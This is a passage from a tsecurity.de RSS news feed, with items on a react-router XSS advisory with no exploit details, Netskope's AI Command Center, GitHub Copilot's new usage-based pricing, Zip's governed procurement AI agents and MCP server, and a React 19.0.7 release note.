<p>Die Tabulatortaste ist innerhalb der Windsurf-IDE dabei besonders leistungsstark: Bei Betätigung springt die KI von einem vorgeschlagenen Fix zum nächsten. Ihre Zustimmung signalisieren die Benutzer dabei durch einen erneuten Tab-Tastendruck. (fm)</p>



<p><strong>Dieser Artikel ist </strong><a href="https://www.cio.com/article/4165921/19-vibe-coding-tools-for-democratizing-app-development.html" target="_blank"><strong>im Original</strong></a><strong> bei unserer Schwesterpublikation CIO.com erschienen.</strong></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[CVE-2026-22029 | remix-run react-router cross site scripting (GHSA-2w69-qvjg-hvjx / EUVD-2026-1465)]]></title>
<description><![CDATA[A vulnerability classified as problematic was found in remix-run react-router. This issue affects some unknown processing. The manipulation results in cross site scripting.

This vulnerability is known as CVE-2026-22029. It is possible to launch the attack remotely. No exploit is available.

Upgr...]]></description>
<link>https://tsecurity.de/de/3568058/sicherheitsluecken/cve-2026-22029-remix-run-react-router-cross-site-scripting-ghsa-2w69-qvjg-hvjx-euvd-2026-1465/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3568058/sicherheitsluecken/cve-2026-22029-remix-run-react-router-cross-site-scripting-ghsa-2w69-qvjg-hvjx-euvd-2026-1465/</guid>
<pubDate>Wed, 03 Jun 2026 04:21:31 +0200</pubDate>
<category>🕵️ Sicherheitslücken</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A vulnerability classified as <a href="https://vuldb.com/kb/risk">problematic</a> was found in <a href="https://vuldb.com/product/remix-run:react-router">remix-run react-router</a>. This issue affects some unknown processing. The manipulation results in cross site scripting.

This vulnerability is known as <a href="https://vuldb.com/cve/CVE-2026-22029">CVE-2026-22029</a>. It is possible to launch the attack remotely. No exploit is available.

Upgrading the affected component is advised.]]></content:encoded>
</item>
<item>
<title><![CDATA[Future Apple Vision Pro could gain Apple Pencil that can simulate textures]]></title>
<description><![CDATA[Apple has proposed an Apple Pencil-like stylus that could be used with Apple Vision Pro to convey the texture of virtual objects through haptic feedback.Apple Pencil can now react to the surface of an iPad, but in future versions could become virtual reality sensors - image credit: AppleThere's a...]]></description>
<link>https://tsecurity.de/de/3567659/ios-mac-os/future-apple-vision-pro-could-gain-apple-pencil-that-can-simulate-textures/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3567659/ios-mac-os/future-apple-vision-pro-could-gain-apple-pencil-that-can-simulate-textures/</guid>
<pubDate>Tue, 02 Jun 2026 23:24:35 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Apple has proposed an <a href="https://appleinsider.com/inside/apple-pencil" title="Apple Pencil" data-kpt="1">Apple Pencil</a>-like stylus that could be used with Apple Vision Pro to convey the texture of virtual objects through haptic feedback.<br><br><div><img src="https://photos5.appleinsider.com/gallery/67817-142903-888-Pencil-xl.jpg" alt="Close-up of a stylus hovering above a dark digital surface, generating glowing 3D dots forming a rising graph or terrain, with a blurred person in the background" height="720"><br><span>Apple Pencil can now react to the surface of an iPad, but in future versions could become virtual reality sensors - image credit: Apple</span></div><br>There's an old children's toy where one pencil is connected to another such that drawing with the first pencil also moves the second. A <a href="https://ppubs.uspto.gov/api/pdf/downloadPdf/12644701?requestToken=eyJzdWIiOiJjYjI3OTM3Mi0wOGUwLTQwMmYtYmRlOS05MmU0ZDg0YzQzN2UiLCJ2ZXIiOiIzNmJhZmNhOS0wZjg0LTQyNDAtYjY3My0zOTMwNWNkN2YyM2IiLCJleHAiOjB9">newly-granted patent</a> is akin to this idea, except instead of copying or enlarging drawings, the Apple Pencil relays "surface roughness and other surface features, as well as motion data (e.g., trajectory and velocity) of the hand-held device" in virtual reality.<br><br>This "Surface texture detection and emulation" patent does explicitly refer to a "pencil" system, but it's really applicable to any handheld device. Whatever form it takes, this is most probably an <a href="https://appleinsider.com/inside/apple-vision-pro" title="Apple Vision Pro" data-kpt="1">Apple Vision Pro</a> accessory that Apple says is specifically intended to create "increased immersion during XR [Extended Reality] sessions."<br><br><br> <a href="https://appleinsider.com/articles/26/06/02/future-apple-vision-pro-could-gain-apple-pencil-that-can-simulate-textures?utm_source=rss">Continue Reading on AppleInsider</a> | <a href="https://forums.appleinsider.com/discussion/244515?urm_source=rss">Discuss on our Forums</a>]]></content:encoded>
</item>
<item>
<title><![CDATA[Netskope introduces AI Command Center to monitor and secure enterprise AI sprawl]]></title>
<description><![CDATA[Netskope this week launched AI Command Center, a new offering in its Netskope One secure access service edge (SASE) platform that gives enterprises a centralized way to discover, assess, and respond to risks associated with AI applications, models, and autonomous agents.



AI Command Center prov...]]></description>
<link>https://tsecurity.de/de/3567520/it-security-nachrichten/netskope-introduces-ai-command-center-to-monitor-and-secure-enterprise-ai-sprawl/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3567520/it-security-nachrichten/netskope-introduces-ai-command-center-to-monitor-and-secure-enterprise-ai-sprawl/</guid>
<pubDate>Tue, 02 Jun 2026 22:08:32 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p>Netskope this week launched AI Command Center, a new offering in its <a href="https://www.networkworld.com/article/3837718/netskope-expands-sase-footprint-bolsters-ai-and-automation.html" target="_blank">Netskope One secure access service edge (SASE) platform</a> that gives enterprises a centralized way to discover, assess, and respond to risks associated with AI applications, models, and autonomous agents.</p>



<p>AI Command Center provides visibility into both approved and unsanctioned <a href="https://www.networkworld.com/article/4137369/netskope-targets-ai-driven-network-bottlenecks-with-ai-fast-path.html" target="_blank">AI services</a> across an organization, helping security teams identify where AI is used, understand the risks, and <a href="https://www.networkworld.com/article/4167967/netskope-launches-ai-agents-for-soc-and-noc-automation.html" target="_blank">automate</a> remediation, according to Netskope. The platform correlates AI-related activity with end users, applications, data, and security policies to provide what Netskope describes as a comprehensive view of enterprise AI usage.</p>



<p>“Organizations have adopted AI faster than any security team can manually track, triage, or contain, and the tools nobody approved are almost always the ones carrying the highest risk,” said Sanjay Beri, co-founder and CEO of Netskope, in a <a href="https://www.netskope.com/press-releases/netskope-unveils-ai-command-center-delivering-comprehensive-ai-discovery-and-correlated-risk-intelligence-with-fully-coordinated-agentic-response" target="_blank" rel="noreferrer noopener">statement</a>. “We’re delivering a fundamental shift from security teams that react to AI risk, to security operations that anticipate and eliminate it.”</p>



<p>The visibility provided by AI Command Center is enabled by NewEdge, Netskope’s privately built global network that carries customer traffic through more than 120 data centers worldwide before it reaches cloud and AI services. NewEdge serves as the foundation of the company’s Netskope One secure access service edge (SASE) platform. When organizations deploy Netskope, software on end-user devices routes web, SaaS, private application, and AI traffic through the Netskope cloud, allowing the company to inspect activity and enforce security and governance policies.</p>



<p>“Enterprise AI adoption has skyrocketed. Data volume and sprawl have created a pervasive visibility gap for security teams. For many organizations, effectively correlating risk across managed and shadow AI assets, user identities, and data stores is difficult,” said Jennifer Glenn, research director for data and information security at IDC, said in a <a href="https://www.netskope.com/press-releases/netskope-unveils-ai-command-center-delivering-comprehensive-ai-discovery-and-correlated-risk-intelligence-with-fully-coordinated-agentic-response" target="_blank" rel="noreferrer noopener">statement</a>. “Addressing this challenge requires moving beyond siloed tools to a unified intelligence layer. Platforms that combine comprehensive AI discovery with real-time risk correlation are essential for enabling security operations to anticipate, prioritize, and autonomously eliminate AI-fueled threats at the speed the landscape demands.”</p>



<p>In a <a href="https://www.netskope.com/blog/ai-is-everywhere-now-you-can-control-all-of-it" target="_blank" rel="noreferrer noopener">blog post accompanying the announcement</a>, Netskope said enterprises are struggling to keep pace with the rapid growth of AI technologies and the risks they introduce. “Security teams know AI is everywhere,” wrote Rich Beckett, senior product marketing manager at Netskope. “What they don’t know is exactly where, what is managed, unmanaged, or personal, what data it touches, who has access, and whether any of it is creating risk.”</p>



<p>Beckett also noted in the blog that organizations need visibility not only into AI applications but also the models, agents, and data interactions that power them. Pulling from Netskope’s <a href="https://www.netskope.com/resources/reports-guides/ai-risk-and-readiness-report" target="_blank" rel="noreferrer noopener">AI Risk and Readiness Report</a>, “3% of organizations have deployed AI tools. Only 7% govern them with real-time policy enforcement. 94% are making AI security decisions with an incomplete picture of their environment, and 88% cannot reliably tell whether an employee is using an authorized corporate AI account or a personal one on the same platform,” Beckett explained.</p>



<p>Netskope said AI Command Center is intended to help organizations move beyond simple AI application discovery to gain a more complete understanding of how AI technologies are being used across their environments and what risks those technologies may introduce. Netskope One AI Command Center is generally available today.</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[GitHub Copilot Users React To New Usage-Based Pricing System]]></title>
<description><![CDATA[An anonymous reader quotes a report from Ars Technica: In April, GitHub announced that it was moving subscribers from request-based billing to a usage-based model for its AI-powered Copilot service. As that new pricing model goes into effect today, many GitHub Copilot users are reporting some ext...]]></description>
<link>https://tsecurity.de/de/3566594/it-security-nachrichten/github-copilot-users-react-to-new-usage-based-pricing-system/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3566594/it-security-nachrichten/github-copilot-users-react-to-new-usage-based-pricing-system/</guid>
<pubDate>Tue, 02 Jun 2026 17:08:51 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[An anonymous reader quotes a report from Ars Technica: In April, GitHub announced that it was moving subscribers from request-based billing to a usage-based model for its AI-powered Copilot service. As that new pricing model goes into effect today, many GitHub Copilot users are reporting some extreme sticker shock as they realize just how quickly their previous "normal" usage is burning through their newly limited monthly allotment of AI credits. Across social media and forums, many Copilot users are sharing personal statistics showing how just a few hours of AI usage can now account for a large chunk of their new monthly subscription caps. For some users, it reportedly took less than a day to use up a month's usage quota.
 
That's a big change from previous months, when GitHub Copilot subscribers were allocated a certain number of "requests" and "premium requests" based on their payment tier. GitHub said that the old system meant that "a quick chat question and a multi-hour autonomous coding session [could] cost the user the same amount," forcing Copilot itself to "absorb much of the escalating inference cost behind that usage." [...] Indeed, some Copilot users have been sharing estimates from GitHub's own tool showing that their previous monthly usage would rack up bills in the thousands of dollars under the new pricing plan. Under GitHub's new usage-based pricing system, paid Copilot subscriptions instead grant users a certain number of AI "credits" each month, with one credit corresponding to $0.01 of usage. Subscribers also get bonus credits depending on their subscription level: the $10/month Pro plan includes 1,500 credits ($15 worth); the $39 Pro+ plan includes 7,000 credits ($70 worth); and the $100/month Copilot Max plan includes 20,000 credits ($200 worth).
 
The precise number of Copilot credits used by a given prompt is determined by the number of input and output tokens used and the rates charged by the underlying large language model. That means pricing is highly dependent not just on the type of request but on the specific model that a user chooses. One million output tokens from OpenAI's GPT-5.4 nano would run just $1.25 on GitHub Copilot, but that same level of output would run $30 on the frontier GPT-5.5 model (Copilot users who rely on "Auto" mode to pick the most appropriate available model for any request should be extremely careful, as some users report it can switch to expensive models for extremely simple queries).<p></p><div class="share_submission">
<a class="slashpop" href="http://twitter.com/home?status=GitHub+Copilot+Users+React+To+New+Usage-Based+Pricing+System%3A+https%3A%2F%2Fnews.slashdot.org%2Fstory%2F26%2F06%2F02%2F0512209%2F%3Futm_source%3Dtwitter%26utm_medium%3Dtwitter"><img src="https://a.fsdn.com/sd/twitter_icon_large.png"></a>
<a class="slashpop" href="http://www.facebook.com/sharer.php?u=https%3A%2F%2Fnews.slashdot.org%2Fstory%2F26%2F06%2F02%2F0512209%2Fgithub-copilot-users-react-to-new-usage-based-pricing-system%3Futm_source%3Dslashdot%26utm_medium%3Dfacebook"><img src="https://a.fsdn.com/sd/facebook_icon_large.png"></a>



</div><p><a href="https://news.slashdot.org/story/26/06/02/0512209/github-copilot-users-react-to-new-usage-based-pricing-system?utm_source=rss1.0moreanon&amp;utm_medium=feed">Read more of this story</a> at Slashdot.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[X caters to creators with new ‘React with Video’ feature]]></title>
<description><![CDATA[X will now let you 'react with video' to posts.]]></description>
<link>https://tsecurity.de/de/3566546/ai-nachrichten/x-caters-to-creators-with-new-react-with-video-feature/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3566546/ai-nachrichten/x-caters-to-creators-with-new-react-with-video-feature/</guid>
<pubDate>Tue, 02 Jun 2026 16:47:11 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[X will now let you 'react with video' to posts.]]></content:encoded>
</item>
<item>
<title><![CDATA[Zip’s new AI agents want to stop your finance team from uploading contracts into personal ChatGPT accounts]]></title>
<description><![CDATA[Zip, the AI procurement platform valued at $2.2 billion, announced two products on Monday that mark a turning point in its evolution from procurement software to autonomous AI platform: a suite of five AI "Superagents" that can review contracts, code invoices, and negotiate with vendors inside Zi...]]></description>
<link>https://tsecurity.de/de/3566319/it-nachrichten/zips-new-ai-agents-want-to-stop-your-finance-team-from-uploading-contracts-into-personal-chatgpt-accounts/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3566319/it-nachrichten/zips-new-ai-agents-want-to-stop-your-finance-team-from-uploading-contracts-into-personal-chatgpt-accounts/</guid>
<pubDate>Tue, 02 Jun 2026 15:47:53 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><a href="https://zip.com/">Zip</a>, the AI procurement platform valued at <a href="https://zip.com/blog/series-d">$2.2 billion</a>, announced two products on Monday that mark a turning point in its evolution from procurement software to autonomous AI platform: a suite of five AI "Superagents" that can review contracts, code invoices, and negotiate with vendors inside Zip's governance framework, and a procurement-native implementation of the Model Context Protocol (MCP) that pipes Zip's data directly into AI assistants like Claude and ChatGPT — without sacrificing audit trails or compliance controls.</p><p>The announcements, unveiled at <a href="https://events.ziphq.com/ai-summit/?utm_source=linkedin&amp;utm_medium=social">Zip's AI Summit in New York</a> with speakers from <a href="http://anthropic.com/">Anthropic</a>, <a href="https://openai.com/">OpenAI</a>, <a href="https://www.datadoghq.com/">Datadog</a>, and <a href="https://www.humana.com/">Humana</a>, arrive at a moment when the procurement technology sector has become one of the fiercest battlegrounds in enterprise AI. SAP unveiled its "Autonomous Enterprise" vision at Sapphire 2026 just weeks ago, introducing more than 50 domain-specific Joule Assistants across finance, supply chain, and procurement. Coupa launched its own Compose platform and Catalyst services bundle at Inspire 2026 in Las Vegas in May, an environment for building and orchestrating AI agents across procurement, along with a forward-deployed engineering services offering. And Gartner predicts 40% of enterprise applications will include task-specific AI agents by end of 2026, up from less than 5% today.</p><p>What makes Zip's approach distinct — and what makes it a potentially important test case for the broader enterprise AI market — is not the agents themselves, but where they run and what constrains them.</p><h2><b>Why procurement teams are uploading sensitive financial data into personal AI accounts</b></h2><p>The announcement centers on an enterprise anxiety that procurement chiefs increasingly describe in private but rarely say publicly: their employees are already using AI for sensitive financial work, they're just doing it in unmonitored, personal accounts. </p><p>Across the enterprise, employees are uploading spend data into Claude to analyze it, redlining sensitive contracts inside ChatGPT, and generating internal financial analyses in personal Gemini or Copilot accounts. Every time they do, sensitive enterprise data leaves systems where every action is controlled and audited, entering environments with no oversight, no compliance controls, and no record of what was done.</p><p>The consequences for getting this wrong are not hypothetical. <a href="https://en.wikipedia.org/wiki/Sarbanes%E2%80%93Oxley_Act">SOX violations</a> carry fines of up to $25 million. Executives can face prison time. Public companies that fail compliance audits can be delisted from the stock exchange. When an auditor asks how a decision was made six months later, no one can produce a record.</p><p>"After working with hundreds of enterprises — including the world's leading AI companies — we've learned that this kind of work is already happening, with or without governance," said Lu Cheng, Co-Founder and CTO at Zip. "Even the companies building AI themselves want this work governed."</p><p>Zip's CEO Rujul Zaparde put a finer point on it in an interview with VentureBeat, describing the competitive dynamics that make procurement an unusually high-stakes domain for AI governance. "Most enterprises don't operate on a single procurement platform," Zaparde said. "They're running SAP as their ERP, Coupa for some sourcing, ServiceNow for IT requests, contract management tools for legal, risk and compliance platforms for vendor due diligence, and a long tail of point tools alongside them." </p><p>He argued that this fragmentation gives Zip, as the orchestration layer connecting all of those systems, a unique advantage: "AI can only be as good as the data it has access to. Because Zip sits above all of these tools, with visibility into each, and orchestrates the entire procurement process from request to payment, its AI can take action across the full procurement workflow in ways point solutions cannot."</p><h2><b>Inside the five Superagents Zip built to automate procurement's hardest bottlenecks</b></h2><p>Zip is launching five <a href="https://zip.com/ai">Superagents</a>, each targeting a specific pressure point in the procurement lifecycle. A Procurement Superagent unblocks stalled requests and manages tail-spend negotiation. A Legal Superagent reviews and redlines contracts against company-approved playbooks. An AP Superagent sorts, codes, matches, and routes invoices. A Config Superagent identifies workflow bottlenecks and drafts configuration changes for admin review. And an Intake Superagent guides employees through compliant request creation, routing purchases to the right buying channel and nudging toward preferred suppliers.</p><p>The five agents are not standalone services. <a href="https://zip.com/engineering-blog">Zip's engineering blog</a> reveals the architectural philosophy underlying them: all agents at Zip — pre-built and custom — run on a shared execution engine built within the company's App Studio workflow automation platform. They differ only in configuration: the prompt that defines behavior, the tools they can access, and the format of their output. Zip's engineering team describes this as a "<a href="https://zip.com/engineering-blog/custom-agents-composable-ai-platform">Lego block</a>" model — the out-of-the-box agents are finished models; custom agents are whatever enterprises choose to build from the same components.</p><p>Under the hood, the agent architecture uses a <a href="https://zip.com/engineering-blog/custom-agents-composable-ai-platform">four-node LangGraph state graph</a> — preprocessing, orchestration, final synthesis, and post-processing — that separates information gathering from response generation. The orchestration node contains a ReAct (Reason + Act) agent that autonomously decides which tools to call: document retrieval via vector search, structured API data from purchase requests and contracts, or company-specific policy context from a reference library.</p><p>This separation is deliberate. As Zip's engineering team explains, conflating research and synthesis into a single LLM call would mean asking one model to be both a diligent researcher and an eloquent writer simultaneously. Separating them allows Zip to optimize each independently — including using different model tiers for each.</p><p>What differentiates Zip's agents from the slew of procurement AI announcements from <a href="https://www.sap.com/index.html">SAP</a>, <a href="https://www.coupa.com/">Coupa</a>, and others is the governance architecture. Every Superagent action is governed by the same roles, permissions, and controls that apply to human employees. High-impact steps like system updates and approvals use deterministic logic rather than LLM inference. And every action generates a complete audit trail.</p><h2><b>What happens when an AI agent misclassifies a $150,000 contract</b></h2><p>Zaparde shared a specific error case from beta testing to illustrate how Zip's human-in-the-loop design handles real-world failures. "Our Intake Superagent flagged a $150K marketing services contract as a standard SaaS subscription," he said. "But because every Superagent action hits a human-in-the-loop checkpoint before it executes, the procurement team caught the misclassification before it went anywhere. They corrected the category, the right approvers were routed in, and the GL coding flowed through accurately downstream."</p><p>The error-and-correction anecdote is revealing because it highlights the tension at the heart of every enterprise AI deployment: these systems will make mistakes, and the question is whether the surrounding infrastructure catches them before they cause damage.</p><p>Zaparde was direct when asked who bears liability if a Superagent triggers a compliance failure: "Customers remain accountable for their procurement decisions, the same way they would be with any vendor or business process. That's standard across enterprise software. Payroll vendors don't take on liability for misclassified employees, ERP vendors don't take on liability for misstated financials, and the same principle applies to AI-augmented work."</p><p>But he was equally emphatic that the design goal is to make the liability question moot. "Zip's Superagents are designed so this scenario shouldn't happen in the first place. They don't operate outside governance, they operate inside it. Every action is auditable, every high-impact step is gated by human review, and the audit trail makes it possible to demonstrate compliant decision-making to auditors and regulators."</p><p>The Superagents are currently in beta, with general availability expected this summer. Zip has been deploying AI agents in procurement since 2024, and today more than 50 are live across hundreds of enterprise customers. <a href="https://zip.com/customers/northwestern-mutual">Northwestern Mutual</a> alone saved 1,400 hours from a single AI agent. Superagents represent the next evolution — more reasoning, more cross-system action, more autonomy — all inside Zip's governance layer. </p><p>When asked what percentage of agent actions require human escalation, Zaparde said there's no single number because every agent handles a different type of task, but added: "In finance and procurement specifically, we deliberately err on the side of escalation any time a transaction touches risk thresholds, policy compliance, legal requirements, budget guardrails, or governance rules. That's a deliberate design choice, not a limitation."</p><h2><b>How Zip's procurement-native MCP could reshape where enterprise AI actually runs</b></h2><p>The second announcement may prove more consequential for the broader enterprise AI market. <a href="https://zip.com/">Zip MCP</a> is a vendor-hosted implementation of the <a href="https://modelcontextprotocol.io/docs/getting-started/intro">Model Context Protocol</a> — the open standard originally created by Anthropic in November 2024 and later donated to the Linux Foundation, with MCP SDK downloads reaching 97 million per month by March 2026, a 970x increase in 18 months.</p><p>A fundamental challenge has limited MCP's enterprise adoption: organizations deploying MCP are running into a predictable set of problems — audit trails, SSO-integrated auth, gateway behavior, and configuration portability. The MCP protocol itself doesn't yet natively solve for the governance requirements that regulated industries and compliance-sensitive functions like procurement demand.</p><p>Zip is attempting to solve this from the application layer. Its MCP server connects Zip's procurement platform directly to any MCP-compatible AI assistant. An employee researching vendors in Claude, for instance, can have Zip proactively surface a request submission from that conversation. Power users can pull aggregated reporting across suppliers, requests, invoices, and payments from within a single AI conversation. Every action respects user permissions through OAuth, runs inside Zip's compliance controls, and generates a complete audit trail. Zip claims this is the first time MCP has been implemented natively for enterprise procurement.</p><p>The claim matters because procurement is arguably the most governance-sensitive business function where MCP could deliver immediate value: it involves financial commitments, legal contracts, regulatory compliance, and supplier data that touch SOX, GDPR, and dozens of other regulatory frameworks.</p><p>When asked what happens to sensitive data once it reaches a third-party model's context window, Zaparde was direct: "MCP is tied to an authenticated user, and the same role-based permissions that apply inside Zip apply through MCP as well — meaning MCP can only retrieve information the user is already authorized to see." He added that Anthropic and OpenAI operate as Zip subprocessors, governed by data processing agreements with Zero Data Retention provisions, so "data flowing through MCP isn't used for model training, and it's protected by enterprise-grade controls at both ends of the connection."</p><h2><b>The companies building AI chose Zip instead of building their own procurement tools</b></h2><p>Zip's customer list for these announcements is impressive but still developing. <a href="https://block.xyz/">Block</a>, <a href="https://www.ucihealth.org/">UCI Health</a>, and <a href="https://www.snowflake.com/en/">Snowflake</a> are the named launch customers for AI Spend Automation, the premium enterprise offering that bundles platform access, AI consumption credits, and Zip's forward-deployed engineers. </p><p><a href="https://www.ucihealth.org/">UCI Health</a> reported $20 million in cost avoidance from a single IT infrastructure project. Zaparde explained the methodology: "The $20 million came from a single IT infrastructure project at UCI Health where their procurement team used AI-powered benchmarking to enter vendor negotiations with real market data rather than internal assumptions alone." He was careful to frame it as a collaborative result: "UCI Health's procurement team did the negotiating and the AI gave them the benchmarks to do it well."</p><p>Zip claims its broader customer base has saved more than $10 billion through its AI suite. Zaparde said that figure "includes direct cost reductions through better vendor negotiations, time savings from automating manual procurement workflows, risk reduction through avoided fines and compliance penalties, and indirect spend savings from improved renewal management." A Forrester Total Economic Impact study modeled a 386% ROI for large enterprises using Zip, showing that on average, the platform pays for itself in under six months.</p><p>But the customer stories that matter most for Zip's strategic narrative are its relationships with the companies whose models power its own agents. <a href="https://zip.com/customers/openai">OpenAI</a> has deployed more than 10 AI agents on Zip's platform. <a href="https://zip.com/customers/anthropic">Anthropic</a>, whose Claude model Zip uses and whose engineers created MCP, more than doubled its procurement volume through Zip while keeping headcount flat. </p><p>The fact that both companies chose to buy rather than build is arguably Zip's strongest competitive proof point: if the organizations with the most AI engineering talent on earth decided the procurement governance problem wasn't worth solving internally, it suggests the moat is real. Beyond AI, the customer list spans <a href="https://zip.com/customers/t-mobile">T-Mobile</a>, <a href="https://zip.com/customers/dollar-tree">Dollar Tree</a>, <a href="https://zip.com/customers/canva">Canva</a>, and <a href="https://zip.com/customers/prudential">Prudential</a> — large, regulated enterprises where compliance failures carry material consequences.</p><p>"When the companies building AI choose Zip rather than build it themselves, that tells you something about the moat," Zaparde said.</p><h2><b>SAP, Coupa, and the intensifying AI arms race in enterprise procurement</b></h2><p>Zip's announcements don't happen in a vacuum. The enterprise procurement AI market is experiencing a rapid convergence as every major platform races to embed agentic capabilities.</p><p>SAP has deployed more than 50 domain-specific <a href="https://www.sap.com/products/artificial-intelligence/ai-assistant.html">Joule Assistants</a> at <a href="https://www.sap.com/blogs/top-5-sapphire-2026-ai-announcements">Sapphire 2026</a>, orchestrating a subset of over 200 specialized agents to execute precise tasks. SAP has even launched a Joule Agent in the SAP Ariba Intake Management solution that captures and routes procurement requests and connects to existing procurement systems — a move that reaches directly into Zip's core territory. Coupa CEO Leagh Turner has argued her platform's foundation sets it apart, saying that while others are "bolting AI onto aging systems," Coupa has one platform that scales with governance. Coupa says it has deployed more than 20 specialized agents, and its $10 trillion dataset of historical transactions gives it a training data advantage that Zip cannot match.</p><p>Zaparde's counter-argument rests squarely on Zip's position as an orchestration layer rather than a point solution. "No matter how powerful those individual tools are, their AI is necessarily limited to the data inside each of their own systems," he said. "Our moat is the orchestration layer and the AI agents built on top of it: agents that are uniquely able to reason and act across multiple systems and reconcile their data as a whole where needed." He pointed to Zip's recognition as a Leader in the first-ever <a href="https://zip.com/resources/idc-marketscape-spend-orchestration">IDC MarketScape for Spend Orchestration</a> as evidence that the category itself has been validated.</p><p>The argument carries a strategic vulnerability, however, that Zaparde was asked about directly: Zip's leading AI-company customers are also its model providers and potential competitors. What happens if Anthropic or OpenAI builds procurement tooling? </p><p>"The mistake is assuming procurement is fundamentally a model problem," Zaparde responded. "Even if an LLM could perfectly understand a contract or negotiate with a vendor, it still needs to operate within company policies, approval chains, supplier relationships, ERP systems, and audit requirements. That context layer is what Zip has spent the past six years building. We see the model providers as accelerating what's possible, while we focus on making that intelligence operational within the enterprise."</p><h2><b>Why Zip is trading SaaS margins for forward-deployed engineers and AI credits</b></h2><p>The <a href="https://zip.com/ai">AI Spend Automation</a> offering raises questions about Zip's evolving business model. Bundling platform access, AI consumption credits, and forward-deployed engineers who build and deploy custom agents inside customer environments is a strikingly different margin profile than traditional SaaS — and it's a model that Coupa, with its own new Catalyst services offering, is also now pursuing.</p><p>Zaparde was transparent about the tradeoff: "Yes, it is a different margin profile than pure SaaS, and we're okay with that. Right now, our priority is adoption and proving value for customers. We believe that if we get the outcomes right, the economics follow. Companies that rush to protect margins before they've demonstrated real value end up with neither. We're playing the long game."</p><p>Zip is <a href="https://zip.com/blog/series-d">valued at $2.2 billion</a> as of its October 2024 Series D round, the largest investment in procurement technology in over two decades. The company has raised approximately $371 million since its founding in 2020 and counts among its investors <a href="https://www.ycombinator.com/">Y Combinator</a>, <a href="https://www.bondcap.com/">BOND</a>, <a href="https://dst-global.com/">DST Global</a>, <a href="https://www.tigerglobal.com/">Tiger Global</a>, and <a href="https://www.crv.com/">CRV</a>.</p><p>The deepest technical signal in Monday's announcement may be what it reveals about the infrastructure moat Zip is building beneath its agents. The company's engineering team recently published detailed architecture for its internationalization system — a pipeline that uses LLM-based translation with glossary enforcement, Kafka change data capture, and a dedicated Redis caching cluster to translate user-generated content across multinational enterprise customers in real time.</p><p>The system uses a technique called "<a href="https://zip.com/engineering-blog/translating-user-generated-content">lazy persistence</a>," where translations are initially stored with a one-week TTL and only promoted to permanent storage when a user actually reads them. This kind of deeply procurement-specific infrastructure — designed to support AI agents that operate across languages, jurisdictions, and regulatory regimes — takes years to build, not quarters, and no general-purpose AI tool can replicate it with a better model alone.</p><h2><b>The real product Zip is selling is the audit trail</b></h2><p>The central question for Zip — and for every enterprise software company racing to embed agentic AI into regulated workflows — is whether governance-first AI agents will actually earn the trust of procurement teams that have spent decades building manual controls for very good reasons. The regulatory stakes are real: SOX fines, criminal liability for executives, stock exchange delisting for companies that fail compliance audits. When an auditor shows up and asks how a purchasing decision was made, someone has to produce a paper trail.</p><p>That is ultimately the bet Zip is making with Superagents and MCP. Not that AI can do procurement work — at this point, that's table stakes — but that AI can do procurement work and leave a record that will satisfy an auditor two years from now. In a market flooded with companies promising autonomous agents, Zip is wagering that the most valuable thing an AI can produce isn't a decision. It's proof that the decision was made correctly.</p><p><a href="https://zip.com/">Zip MCP</a> and <a href="https://zip.com/ai">Zip Superagents</a> are available in beta today, included with all core Zip products, with general availability expected this summer. <a href="https://zip.com/platform-overview">Zip AI Spend Automation</a> is available now for enterprise customers.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[AI costs how much? GitHub Copilot users react to new usage-based pricing system.]]></title>
<description><![CDATA[Some report burning through their whole monthly "AI credit" allotment in a single day.]]></description>
<link>https://tsecurity.de/de/3564480/ai-nachrichten/ai-costs-how-much-github-copilot-users-react-to-new-usage-based-pricing-system/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3564480/ai-nachrichten/ai-costs-how-much-github-copilot-users-react-to-new-usage-based-pricing-system/</guid>
<pubDate>Tue, 02 Jun 2026 00:32:37 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Some report burning through their whole monthly "AI credit" allotment in a single day.]]></content:encoded>
</item>
<item>
<title><![CDATA[19.0.7 (June 1st, 2026)]]></title>
<description><![CDATA[React Server Components

Fixed missing FormData entries in Server Actions which regressed in 19.0.6
(#36568 by @unstubbable)]]></description>
<link>https://tsecurity.de/de/3564017/downloads/1907-june-1st-2026/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3564017/downloads/1907-june-1st-2026/</guid>
<pubDate>Mon, 01 Jun 2026 20:16:16 +0200</pubDate>
<category>💾 Downloads</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h2>React Server Components</h2>
<ul>
<li>Fixed missing <code>FormData</code> entries in Server Actions which regressed in 19.0.6<br>
(<a href="https://github.com/facebook/react/pull/36568" data-hovercard-type="pull_request" data-hovercard-url="/facebook/react/pull/36568/hovercard">#36568</a> by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/unstubbable/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/unstubbable">@unstubbable</a>)</li>
</ul>]]></content:encoded>
</item>
<item>
